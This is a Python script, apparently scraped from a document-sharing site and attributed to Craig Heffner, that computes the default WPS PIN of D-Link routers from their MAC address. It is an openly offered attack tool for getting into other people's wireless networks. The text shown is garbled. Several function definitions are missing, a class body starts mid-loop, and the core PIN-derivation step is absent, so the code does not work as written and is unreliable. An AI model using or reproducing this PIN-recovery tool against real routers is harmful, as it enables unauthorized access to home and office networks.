Professional Documents
Culture Documents
/usr/bin/env python
#
# Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs.
#
# Craig Heffner
# Tactical Network Solutions
class WPSException(Exception):
pass
class WPS(object):
while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)
class DLink(object):
def __init__(self):
self.wps = WPS()
if len(mac) == 12:
try:
nic = int(mac[6:], 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac[6:])
elif len(mac) == 6:
try:
nic = int(mac, 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac)
else:
raise WPSException("Invalid MAC address: [%s]" % mac)
return nic
# The final 8 digit pin is the 7 digit value just computed, plus a
# checksum digit.
return (pin * 10) + self.wps.checksum(pin)
if __name__ == '__main__':
import sys
try:
mac = sys.argv[1]
except IndexError:
print ("Usage: %s <mac>" % sys.argv[0])
sys.exit(1)
try:
print ("Default pin: %d" % DLink().generate(mac))
except WPSException as e:
print (str(e))
sys.exit(1)